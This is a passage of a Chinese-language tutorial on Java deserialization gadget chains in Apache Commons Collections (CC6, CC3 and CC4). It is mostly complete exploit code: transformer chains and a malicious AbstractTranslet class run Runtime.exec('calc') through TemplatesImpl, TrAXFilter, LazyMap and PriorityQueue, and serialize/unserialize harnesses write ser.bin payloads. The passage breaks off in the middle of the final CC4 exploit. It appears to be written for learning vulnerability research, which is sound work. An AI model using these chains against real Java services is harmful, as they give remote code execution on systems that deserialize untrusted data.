1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC603 { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "key" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "value" ); serialize(expMap); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
这时运行序列化就会直接弹出计算器:
其实就是hashmap里那个put方法的锅:可以看到在put的时候就已经触发hash方法了,而不是等到readobject的时候触发hash方法
其实这里和URLDNS那条链子一样:我们希望是由readObject
方法触发hash
然后触发hashcode
,但前面也说了:put
的时候也会走到hash
那边:
1 2 3 4 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
修改的目的?让put方法的时候无法触发这条链子,比如我在put前先把这条链子里某些东西改成错误的,put完之后修改成正确的,让它等到反序列化的readobject时再触发:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); -----------------> 变成Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer ("five" )); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMapClass, chainedTransformer);
但这时发现反序列化还是没法触发计算器,问题出在Lazymap的get方法:
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
注意他这个东西会在map中不包含key的时候才会触发后面那个factory.transform(key),然后他会把这个key放进去!!那么我们在反序列化的时候这里就已经有这个key了,也就不会触发factory.transform(key)这个方法。
解决方法也很简单,put完再把key删了就行:
Finalexp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer ("five" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "key" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "value" ); lazymap.remove("key" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMapClass, chainedTransformer); serialize(expMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC3 和CC1与CC6这两条链是直接在链的代码中执行任意代码相比,CC3是通过动态类加载机制来实现自动执行恶意类的代码的 。
回顾一下(忘差不多了):
实例化之前,必须先加载类的字节码文件到内存中。java
类加载是指将类的字节码文件加载到内存中,并转换成 JVM 中的Class 对象的过程。
加载类的过程中,会经历下列三个方法的调用:
(ClassLoader
是Java中的类加载器)
loadClass
的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
findClass
的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass
的作用是处理前面传入的字节码,将其处理成真正的Java类
举个利用defineClass
执行代码的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.lang.reflect.Method; import java.util.Base64; public class HelloDefineClass { public static void main (String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM" ); Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello" , code, 0 , code.length); hello.newInstance(); } }
注意,在 defineClass()
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass()
时也无法被直接调用到。所以,如果我们要使用 defineClass()
在目标机器上执行任意代码,需要想办法调用构造函数 newInstance()
。
可以再看一个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.example;public class Person { public static int staticVar; public int instanceVar; static { System.out.println("静态代码块" ); } { System.out.println("构造代码块" ); } Person(){ System.out.println("无参构造器" ); } Person(int instanceVar){ System.out.println("有参构造器" ); } public static void staticAction () { System.out.println("静态方法" ); } }
这里如果把newclass.newInstance()
注释掉(即只加载不进行实例化)会发现没有任何输出。
下面就是文章中的利用类:
首先,TemplatesImpl.java
下存在defineClass
:
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
但注意这是被default
修饰的,继续找有没有地方调用了他:
同一个类下的 getTransletInstance()
方法调用了 defineTransletClasses()
方法,并且这里有一个 newInstance()
实例化的过程,如果能走完这个函数那么就能动态执行代码:
这里可能会想:
这不是对_class[_transletIndex].newInstance();
调用newInstance()
吗?
可以看看这个东西是个啥:
1 2 for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);
然后存在一个public
修饰的方法:newTransformer
如何利用? 根据上面的分析我们知道:最终目标就是调用templates.java
下的newTransformer()
方法
大致调用顺序:
1 2 3 4 5 6 7 8 9 10 TemplatesImpl templates = new TemplatesImpl() ; templates.new Transformer() ; newTransformer -> getTransletInstance -> defineTransletClasses() -> AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex ] .new Instance() ; 注意: defineTransletClasses() -> for (int i = 0 ; i < classCount; i++) { _class[i ] = loader.defineClass(_bytecodes [i ]) ;
先看看调用getTransletInstance
下的defineTransletClasses()
得满足啥条件:
1 2 3 4 5 6 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses();
_name
为null
,则直接return null
_classs
为null
,调用 newInstance()
先看一眼无参构造函数吧,都怎么赋值的:
1 public TemplatesImpl () { }
然后再看看defineTransletClasses()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
看图的话方便点:(DB师傅的图)
接下来看看defineTransletClasses
如何利用:
1 2 for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);
看看这个_bytecodes
该如何定义:
1 private byte [][] _bytecodes = null ;
这沟槽的是个二维数组,所以:
1 2 3 4 5 6 7 8 9 Field bytecodefield = temp1.getDeclaredField("_bytecodes" ); classfield.setAccessible(true );byte [] byte1 = Files.readAllBytes(Paths.get("E://Clac.class" ));byte [] [] evil = {byte1}; bytecodefield.set(temp1,evil);
defineTransletclasses
下存在如下限制:
1 2 3 4 5 6 7 8 9 10 11 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } ........ return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
这里的_tfactory
绝不能为空。_tfactory
的值在 TemplatesImpl
这一类中被定义如下,关键字是 transient
,这里进行了字段初始化:
1 private transient TransformerFactoryImpl _tfactory = null ;
他不光为null
,而且被transient
修饰。这东西在序列化过程中都不会被传进去。不过在readObject
方法中已经给他付了一个值:
1 2 3 4 5 private void readObject (ObjectInputStream is) throws IOException, ClassNotFoundException _tfactory = new TransformerFactoryImpl (); }
所以这里不管他就行,反正到时候反序列化会自动给个值。
先不着急序列化反序列化,调用newTransformer
方法看看能不能打通。我们这里利用反射得给他赋成readObject时的值:
1 2 3 Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ());
截止到目前的EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class TemplatesImplEXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); } }
但这个时候会报空指针错,解决办法(参考DB师傅的图):
418 行,判断在 defineClass()
方法中传进去的参数 b 数组的字节码是否继承了 ABSTRACT_TRANSLET
这个父类,如果没有则抛出异常,所以我们需要去恶意类中继承 ABSTRACT_TRANSLET
这个父类。
注意这是个抽象类,里面的抽象方法都得实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Clac extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException var1) { var1.printStackTrace(); } } }
再执行就可以弹计算器了:
后面就很好理解了:现在调newTransformer()
这条路走得通,而且newTransformer()
还是个public
方法。这里可以利用CC1
那边的chainedTransformer
替换:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class CC1TemplatesEXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(1 ); }
transform
里面的参数无所谓,因为存在new ConstantTransformer(templates)
。说白了就是templates.newTransformer()
,换别的方法罢了。
这条路既然能走通,可以尝试把CC1
剩下的部分都放进去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public class CC1TemplatesEXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" ,"drunkbaby" ); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); Object o = aihConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
ysoser
版CC3:
上面分析了,只要实现调用templates.newTransformer()
就能进行命令执行,直接找都哪里调用了这个方法(这里我就直接去看TrAXFilter
了,具体原因参考参考文章 ):
注意构造函数中的:
1 2 _templates = templates; _transformer = (TransformerImpl) templates.newTransformer();
所以只要调了这个构造函数就能达到目标
有没有哪个地方调了这个构造函数?
InstantiateTransformer
下存在:
可以通过transform
调用指定构造器并放入指定参数,看下这个参数怎么定义的:
1 2 3 4 5 public InstantiateTransformer (Class[] paramTypes, Object[] args) { super (); iParamTypes = paramTypes; iArgs = args; }
所以现在的逻辑:
1 2 3 4 需要实现:templates.newTransformer() -> TrAXFilter的构造函数调用了templates.newTransformer() -> InstantiateTransformer.transform可以进行构造方法调用 (所以这里又回到了transform方法的调用)
这里传入 new Class[]{Templates.class}
与 new Object[]{templates}
即可。
这里我们把前面的templates.newTransformer()
替换:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); instantiateTransformer.transform(TrAXFilter.class); } }
这里可以看到最终回到了transform
方法的调用。。直接把他和CC1
的拼一下:
其实就是把 instantiateTransformer.transform(TrAXFilter.class);
换掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader() , new Class []{Map.class}, invocationHandler); Object o = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
当然也能和CC6结合
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC3FinalEXP2 { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer ("five" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "key" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "value" ); lazyMap.remove("key" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap, chainedTransformer); serialize(expMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC4 CC4
简单说就是找了条其它的路实现transform
方法
CC4 链上去掉了 InvokerTransformer 的 Serializable 继承,这里找除了它谁还调用了transform
方法:
1 InstantiateTransformer 下存在 transform 方法
在 TransformingComparator
这个类中的 compare()
方法调用了 transform()
方法:
1 2 3 4 5 6 public int compare (Object obj1, Object obj2) { Object value1 = this .transformer.transform(obj1); Object value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
去找谁调用了这个compare
方法:
riorityQueue
这个类中的 siftDownUsingComparator()
方法调用了之前的 compare()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
同类下的siftDown
调用了这个siftDownUsingComparator
:
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
siftDown
:
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
然后再重写的PriorityQueue.readObject()
存在调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
逻辑:
1 2 3 4 5 PriorityQueue .readObject() -> heapify heapify -> siftDown siftDown -> siftDownUsingComparator siftDownUsingComparator -> compare compare -> transformer.transform()
链子的尾部就是InstantiateTransformer.transform()
,这里直接用前面CC3
那部分就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); instantiateTransformer.transform(TrAXFilter.class); } }
按照前面的逻辑,把instantiateTransformer.transform(TrAXFilter.class);
换个方法执行:
compare
方法去调这个transform
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public class ComparatorEXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
简单说就是下面这个东西和反序列化配合就能调用instantiateTransformer.transform(TrAXFilter.class);
1 2 TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator);
为啥呢?注意这段构造函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public TransformingComparator (Transformer transformer) { this (transformer, new ComparableComparator ()); } public TransformingComparator (Transformer transformer, Comparator decorated) { this .decorated = decorated; this .transformer = transformer; }
但这里序列化后反序列化是不会弹计算器的,问题出在:
参考文章
简单讲就是这个优先队列的长度得是2,才能进SitDown
方法里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); 